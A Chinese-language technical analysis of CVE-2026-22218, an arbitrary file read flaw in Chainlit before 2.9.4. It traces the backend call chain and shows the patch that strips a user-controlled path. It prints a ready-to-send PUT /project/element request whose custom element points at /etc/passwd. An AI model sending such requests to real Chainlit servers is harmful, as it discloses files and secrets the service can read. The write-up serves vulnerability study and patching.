CVE-2026-22218:Chainlit AI框架任意文件读取后端调用链深度解析
漏洞简介2.9.4 之前的 Chainlit 版本在 /project/element 更新流程中存在任意文件读取漏洞。认证客户端可以发送带有用户控制路径值的自定义元素,从而使服务器将引用的文件复制到攻击者的会话中。由此产生的元素标识符(chainlitKey)可以通过 /project/file/<chainlitKey> 检索文件内容,从而允许披露 Chainlit 服务可读取的任
漏洞简介
2.9.4 之前的 Chainlit 版本在 /project/element 更新流程中存在任意文件读取漏洞。认证客户端可以发送带有用户控制路径值的自定义元素,从而使服务器将引用的文件复制到攻击者的会话中。由此产生的元素标识符(chainlitKey)可以通过 /project/file/<chainlitKey> 检索文件内容,从而允许披露 Chainlit 服务可读取的任何文件。

漏洞影响
版本:<2.9.4
评分:7.1(高危)
漏洞分析
攻击数据请求包
PUT /project/element HTTP/1.1
Host: target-chainlit.com
Content-Type: application/json
Cookie: session_id=
Content-Length: 258
{
"element": {
"type": "custom",
"id": "file-read-001",
"name": "用户配置文件",
"display": "inline",
"path": "/etc/passwd",
"props": {},
"sessionId": ""
}
}下面是后端接收数据包时的响应调用
element_dict = cast(ElementDict, payload.element)这里接收前端发送的payload
element = Element.from_dict(element_dict)这里创建Element对象,接收element_dict 参数,也就是前端数据,在这里我们跳到element看看

第一段创建Element实例
第二段提取攻击者控制的路径
第三段将攻击者控制的路径放入path参数
第四段创建并返回CustomElement实例,传入包含攻击者path的参数,然后返回server.py文件

element现在是一个CustomElement对象实例

调用element.update()方法跳转到CustomElement.update()

调用父类Element.send()

跳到这里调用_create()方法

将self传给数据层,self包含:path="/etc/passwd",

element就是传入的self
content = await f.read()读取self里的:path="/etc/passwd",执行文件读取
漏洞修复

def _sanitize_custom_element(element_dict: "ElementDict") -> "CustomElement":
from chainlit.element import CustomElement
return CustomElement(
id=element_dict["id"],
for_id=element_dict.get("forId") or "",
thread_id=element_dict.get("threadId") or "",
name=element_dict["name"],
props=element_dict.get("props") or {},
display=element_dict["display"],使用_sanitize_custom_element函数,对源头进行过滤
参考
https://nvd.nist.gov/vuln/detail/CVE-2026-22218
https://github.com/Chainlit/chainlit/commit/ffc3cce648b343b933e10e85ee5805c7e02ab3bf
认证用户可通过构造恶意 element 请求读取服务器任意可读文件。
由 AI 根据全文自动生成,仅供参考,以原文为准